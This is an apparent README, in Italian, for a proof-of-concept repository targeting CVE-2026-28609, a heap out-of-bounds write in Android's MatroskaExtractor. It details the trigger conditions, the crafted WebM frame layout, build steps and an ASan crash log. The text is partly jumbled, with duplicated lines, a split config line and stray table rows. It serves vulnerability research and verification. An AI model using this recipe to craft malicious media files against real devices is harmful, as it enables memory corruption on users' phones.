
Proof-of-concept e harness di riproduzione strumentato per CVE-2026-28609, una scrittura fuori dai limiti in MatroskaExtractor di Android raggiungibile tramite un file WebM appositamente creato con una traccia audio PCM big-endian.
Proof-of-concept, harness di riproduzione strumentato e analisi tecnica per CVE-2026-28609, una scrittura fuori limite nel MatroskaExtractor di Android raggiungibile tramite un file WebM appositamente craftato con una traccia audio PCM big-endian.
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppMatroskaSource::read() nel MatroskaExtractor di Android contiene
un ciclo di byte-swap PCM big-endian che effettua il cast di un
puntatore ai dati del frame a uint16_t * prima di aggiungere
frame->range_offset(), un offset in byte. Poiché l'aritmetica dei
puntatori C su un uint16_t * scala l'offset di
sizeof(uint16_t) = 2, il puntatore risultante si trova a
2 * range_offset byte dall'inizio del buffer, non a range_offset
byte.
Quando range_offset > 0, il ciclo legge e scrive uno o più byte
oltre la fine del MediaBuffer del frame. Su un dispositivo senza
ASan la lettura in eccesso riesce silenziosamente e la scrittura in
eccesso corrompe il byte immediatamente successivo al buffer.
La riga vulnerabile:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
La fix upstream effettua il cast del puntatore a uint8_t *
prima di applicare l'offset:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
Un trigger funzionante e riproducibile per CVE-2026-28609, verificato sotto AddressSanitizer su un dispositivo Android 14 reale. Il repository include:
range_offset diverso
da zero.dlopen, invoca GETEXTRACTORDEF e legge i frame dal file.Il risultato, su un dispositivo vulnerabile:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
Il branch vulnerabile richiede che tutte le seguenti condizioni siano vere:
| Condizione |
|---|
Le prime tre sono soddisfatte dichiarando la traccia con codec ID
A_PCM/INT/BIG e bit depth 16. La quarta è quella interessante.
range_offset viene impostato a un valore diverso da zero solo in
MatroskaSource::setWebmBlockCryptoInfo(), che viene chiamata da
readBlock() alla condizione:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
Pertanto il file di trigger deve soddisfare:
mIsWebm — l'elemento EBML DocType deve essere "webm",
non "matroska".mEncrypted — la traccia deve dichiarare ContentEncodings
con ContentEncodingType = 1 (Encryption) e un
ContentEncKeyID.0x1) è 0, indicando che il frame è
non cifrato ma content-encoded. Questo prende il branch else in
setWebmBlockCryptoInfo, che chiama set_range(1, len - 1).Dopo lo strip, range_offset = 1 per ogni frame. Il branch
vulnerabile calcola quindi (uint16_t *)data + 1, che avanza di 2
byte, e il ciclo legge/scrive i byte [2, 2 + range_length) — un
byte oltre la fine dell'allocazione di 65 byte (frame di 64 byte +
signal di 1 byte).
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
Il signal byte 0x00 viene rimosso da set_range(1, 64), lasciando
un frame di 64 byte all'interno di un'allocazione di 65 byte.
L'aritmetica vulnerabile dei puntatori scrive quindi all'offset di
byte da 2 a 65.
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
Dipendenze upstream, clonate dall'utente prima della build:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash, python3, make$ANDROID_NDK_HOMEadb nel PATH (Linux, o adb.exe da WSL)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
Se il tuo albero AOSP usa il layout modulare dell'extractor
(av/media/module/extractors/mkv/), non è necessaria alcuna
ulteriore modifica. Se usa il layout più vecchio
(av/media/libstagefright/matroska/), consulta gli script di build
per la variabile MKV.
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
Imposta ANDROID_API in modo che corrisponda al tuo dispositivo
target (ad esempio, 34 per Android 14).
./scripts/run.sh
Lo script run.sh esegue quattro passaggi in ordine:
build_foundation.sh — compila 28 file sorgente da
av/media/module/foundation/ e av/media/module/metadatautils/
in plugin-asan/libstagefright_foundation_asan.a.build_plugin.sh — compila MatroskaExtractor.cpp,
mkvparser.cc, mkvreader.cc e li collega con l'archivio in
libmkvextractor_asan.so.build_harness.sh — compila harness_c_abi con
-shared-libsan.poc.mkv in
/data/local/tmp ed esegue l'harness.Gli script di build individuano automaticamente le include root
mancanti. Quando il compilatore segnala
fatal error: 'X' file not found, lo script cerca negli alberi
delle dipendenze, trova la directory padre di X e la aggiunge a
include_dirs.conf. Questo è il motivo per cui include_dirs.conf
cresce durante la prima build. Una volta che tutti gli header sono
stati individuati, il file si stabilizza e le build successive sono
deterministiche.
Su un dispositivo vulnerabile, l'harness produce:
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor uuid[0..3]=abbedd92 version=1 api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
#0 0x71ecb0ec48 (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
#1 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#2 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#3 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
#0 0x727c507668 (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
#1 0x5861ac26c0 (/data/local/tmp/harness_c_abi+0x46c0)
#2 0x71ecb15e7c (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
#3 0x71ecb0b50c (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
#4 0x71ecb0d96c (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
#5 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#6 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#7 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
#8 0x5861ac15f4 (/data/local/tmp/harness_c_abi+0x35f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14927==ABORTING
Aborted
Tre numeri confermano il trigger:
WRITE of size 2 (o READ, quando ASan intercetta per primo la
metà in lettura di data[i] = ntohs(data[i]))65-byte region — l'allocazione del frame è di 64 byte di dati
più il signal di cifratura di 1 byte0 bytes after — l'accesso cade sul primo byte oltre
l'allocazionesetWebmBlockCryptoInfo (signal byte 0x03), che non è
esercitato da questo generatore./data/local/tmp viene toccato. Il plugin viene caricato solo dal
processo dell'harness.Il generatore incorpora un verificatore. Eseguilo prima del push:
python3 exploit/generator.py poc.mkv
Atteso:
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify] cause readBlock to strip the 1-byte signal via
[verify] set_range(1, len-1), setting range_offset=1
[verify] on every PCM frame. The uint16_t* cast in the
[verify] vulnerable branch then writes 2 bytes past the
[verify] end of the 64-byte frame buffer.
Ogni campo richiesto viene controllato: DocType, TrackType,
CodecID, BitDepth, Channels, ContentEncodingType,
ContentEncodingScope, ContentEncAlgo e ContentEncKeyID. Se un
campo è errato, il generatore esce con FAIL e stampa la
discrepanza specifica.
| Data | Evento |
|---|---|
| 2026-03-02 | CVE riservata da Google |
| 2026-09-08 | Divulgazione pubblica nell'Android Security Bulletin |
| 2026-09-09 | Fix integrata in LineageOS lineage-20.0 (change 497992) |
Questo repository è pubblicato strettamente per la ricerca di sicurezza difensiva e la verifica di vulnerabilità. È destinato a:
Non usare questo codice su dispositivi che non possiedi o per i quali non hai un'esplicita autorizzazione scritta ai test. Eseguire l'harness su un dispositivo che non è tuo, o usare il generatore per produrre file di trigger da distribuire, può violare le leggi sull'abuso informatico nella tua giurisdizione e la Acceptable Use Policy di GitHub.
L'autore non approva l'uso di questa ricerca per scopi malevoli. Il file di trigger prodotto dal generatore è progettato per mandare in crash una funzione specifica sotto AddressSanitizer; non contiene un payload eseguibile, non modifica il sistema e non persiste oltre il processo dell'harness.
Nessuna garanzia è fornita. Il codice è fornito così com'è. L'autore non si assume alcuna responsabilità per danni causati da uso improprio o dall'esecuzione dell'harness su hardware di produzione.
Se sei un vendor e ritieni che questo repository contenga materiale che dovrebbe essere gestito in regime di coordinated disclosure, apri una issue e l'autore risponderà entro 72 ore.
Questo progetto è rilasciato sotto licenza Apache-2.0. Vedi LICENSE
per il testo completo.
Copyright © 2026 — i contributori del PoC CVE-2026-28609.
Rinomina questo file in include_dirs.conf dopo il clone. Questo è
il seed. Gli script di build lo estendono durante la prima
esecuzione.
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.
$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include
scripts/build.conf.sampleRinomina in build.conf dopo il clone.
# build.conf — build configuration for CVE-2026-28609 PoC
# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34
# Enable AddressSanitizer.
ENABLE_ASAN=1
# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"
# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
| Sorgente |
|---|
| La traccia è PCM | mType == PCM |
| Big-endian | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| Campioni a 16 bit | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
Il frame ha range_offset diverso da zero | Impostato da set_range(offset, ...) |
| 2026-09 | Questo PoC sviluppato e verificato su un dispositivo reale |